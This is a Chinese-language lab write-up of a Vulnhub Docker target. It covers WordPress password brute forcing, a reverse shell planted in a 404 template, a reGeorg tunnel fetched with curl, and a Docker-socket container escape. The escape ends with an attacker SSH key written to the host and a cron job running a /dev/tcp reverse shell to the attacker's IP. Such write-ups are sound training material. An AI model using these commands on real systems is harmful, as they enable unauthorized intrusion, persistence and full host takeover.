【Vulnhub系列靶场】Vulnhub_Dr4g0n b4ll靶场渗透

一、环境搭建

下载链接:https://download.vulnhub.com/vulnerabledocker/vulnerable_docker_containement.ova

配置名称和路径后调整网络连接模式为【NAT】即可

二、信息收集

1、主机发现

1
nmap -sn 192.168.137.1/24

image-20251008003349563

2、端口扫描

1、快速粗略的端口扫描

1
nmap -F 192.168.137.138

image-20251008003643784

2、详细端口扫描

1
2
nmap -sT --min-rate 10000 -p- 192.168.137.138
nmap -sU --min-rate 10000 -p- 192.168.137.138

image-20251008003843710

3、详细扫描和漏洞探测

1
nmap -sV -A -p 22,8000 192.168.137.138

image-20251008004014863

WordPress框架4.8.27版本,扫出来有 robots.txt 文件和 /wp-admin/ 路径,似乎配置了http-proxy代理

1
nmap --script=vuln -p 22,8000 192.168.137.138

image-20251008005620772

只有一些wordpress 的目录

三、获取shell立足点

1、查看敏感信息

1、主页

image-20251008013007208

2、robots.txt 文件

image-20251008013026497

3、/wp-admin/目录

image-20251008013132667

是wordpress 的登录页

4、/wp-admin/admin-ajax.php文件

image-20251008013225150

是一个0,没有其他内容

2、wpscan信息收集

1、用户名扫描

1
wpscan --url http://192.168.137.138:8000/ --enumerate u

image-20251008014003592

使用了twentyseventeen主题,存在bob这一个用户名

用密码生成工具cewl 针对wordpress生成专门的密码

1
cewl http://192.168.137.138:8000/ -w pass.txt

进行密码的爆破

1
wpscan --url "http://192.168.137.138:8000/" -P "pass.txt" --usernames bob

image-20251008014440915

使用大字典强制爆破

1
wpscan --url "http://192.168.137.138:8000/" -P /usr/share/wordlists/rockyou.txt  --usernames bob --max-threads 100

image-20251008020254926

这个需要爆破的时间超级长,可以直接从 rockyou 字典中提取W相关密码进行爆破

3、获取shell 立足点

bob/Welcome1 登录wordpress后台

修改404模板内容

image-20251008021913943

监听本地4444后访问任意一个不存在的路由,如:http://192.168.137.138:8000/aaa

image-20251008022101697

优化shell

1
2
SHELL=/bin/bash script -q /dev/null
export TERM=xterm

四、横向移动

1、查看敏感文件

在wordpress 的配置文件中存在数据的账号密码

image-20251008022603348

不过并不是root用户,就算登录mysql似乎作用也不大

查看 /etc/passwd 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false

只有root一个用户,无其他用户

看IP发现与渗透的IP地址不符,看 .dockerenv 文件发现存在docker容器中

image-20251008022930945

判断是否有其他的docker容器存在

当没有nmap或其他工具的时候,可以使用最简单的ping命令进行IP探测

1
for i in {1..254};do ping -c 1 -W 1 172.18.0.$i | grep from;done

image-20251008023551246

前4个IP都存在

2、开正向代理

使用 reGeorg 工具,只需要上传一个php即可开启正向代理

生成 abc123 密码的php代理文件

image-20251008024324281

在kali中通过python开启一个http服务,在靶机使用curl命令下载tunnel.php 文件

1
curl http://192.168.137.95:8080/neoreg_servers/tunnel.php --output tunnel.php

之后就可以通过命令配置好代理了

1
python3 neoreg.py -k abc123 -u http://192.168.137.138:8000/tunnel.php

image-20251008024609285

默认监听在本地的1080端口,socks5代理

配置好 /etc/proxychains4.conf 文件的代理

image-20251008024824435

就可以使用了

3、对内网IP扫描

在通过ping命令探测出来只有4个IP,对这四个IP做一个基本的探测

1
proxychains nmap -sT -Pn 172.18.0.1-4

image-20251008030816603

4、配置浏览器代理

配置火狐浏览器代理到本地的1080

image-20251008031014296

5、172.18.0.1和172.18.0.2

172.18.0.1只有22、8000两个端口,看8000端口

这还是wordpress 那个网站

image-20251008031200293

我们已经拿到权限的172.18.0.2的80端口也是这个网站,其中一个应该是代理出来的

6、172.18.0.4

172.18.0.4只扫出来一个mysql,应该是个mysql容器,之前拿到了wordpress 的账户密码,不过就算登录了应该也没啥用,后面需要再来看。

7、172.18.0.3

除了22的ssh服务,还有一个os-system让我们很感兴趣

image-20251008032453284

是一个web端的命令行,直接反弹shell

whoami是root权限,在这里进行docker逃逸是比较方便的

五、Docker Socket 逃逸

1、逃逸简介

Docker Socket(也称为Docker API Socket)是Docker引擎的UNIX套接字文件,用于与Docker守护进程(Docker daemon)进行通信,实现执行各种操作,例如创建、运行和停止容器,构建和推送镜像,查看和管理容器的日志等。

也就是说如果这个文件被挂载了之后,就可以直接操作宿主机的docker服务,进行创建、修改、删除镜像,从而实现逃逸

2、判断条件

先判断当前容器是否挂载了 Docker Socke

1
ls -aslh /var/run/docker.sock

image-20251008034115889

文件存在,具备逃逸条件

3、开始逃逸

需要当前容器内部也存在docker环境

1
2
3
4
root@13f0a3bb2706:/# docker ps
docker ps
bash: docker: command not found
root@13f0a3bb2706:/#

很明显当前容器不存在docker环境,需要手动安装

image-20251008034521440

emmm,更新都成问题,更别提安装docker了,先更新源,uname -a看到是Ubuntu系统

1
2
3
4
5
6
7
8
9
10
echo 'deb http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ trusty-backports main restricted universe multiverse' > /etc/apt/sources.list

安装docker,如果这里更新总是出错,重装靶机整个过程重新来一遍

1
2
apt-get update
apt-get install docker.io

安装好docker后,执行docker ps命令

image-20251008140533661

发现这正是当前所处docker环境的几个容器

4、挂载宿主机根目录

我们现在需要在当前容器的内部新开启一个容器,并挂载宿主机根目录,这样可以直接访问到宿主机的根目录文件

1
docker run -it -v /:/tmp wordpress:latest /bin/bash

选择已有的wordpress容器

image-20251008141505872

报tty的错误,是因为咱们处于一个非交互的shell中,只需要去掉-t的参数即可

1
docker run -i -v /:/tmp wordpress:latest /bin/bash

image-20251008141735525

可以看到在 /tmp 目录下都是宿主机的文件

5、获取宿主机shell

这时候拿到了宿主机的文件,想要获取宿主机的shell,有两种办法,一种是替换宿主机的ssh密钥文件再通过ssh连接,一种是通过定时任务反弹shell。

两种方式都来看一下。

6、ssh公钥文件获取宿主机shell

要么是在靶机上通过 ssh-keygen命令生成密钥然后导出出来进行连接,要么是在自己本机生成ssh公钥读取后写入。但是在这种情况下,咱们依然是处于容器内部,直接生成密钥是容器内的密钥,而不是宿主机的,因此只能通过写入公钥的方式。

在kali中先通过passwd命令给root设置一个密码,再通过ssh-keygen命令生成公私钥

image-20251008142719821

将生成的公钥内容写入宿主机的公钥

1
2
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKXcLRA4YIVzdqokvgs/BbInccqbK5t91u5ZJwbOkCLh root@kali" >> /tmp/root/.ssh/authorized_keys
chmod 600 /tmp/root/.ssh/authorized_keys

image-20251008142936547

之后直接在kali中进行ssh连接

image-20251008143050558

成功获取到宿主机的shell

7、定时任务获取shell

向定时任务文件中写入反弹shell命令,每分钟执行一次

1
echo "* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/192.168.137.95/7777 0>&1'" >> /tmp/var/spool/cron/crontabs/root

在kali起7777的监听等待一分钟即可

image-20251008150822447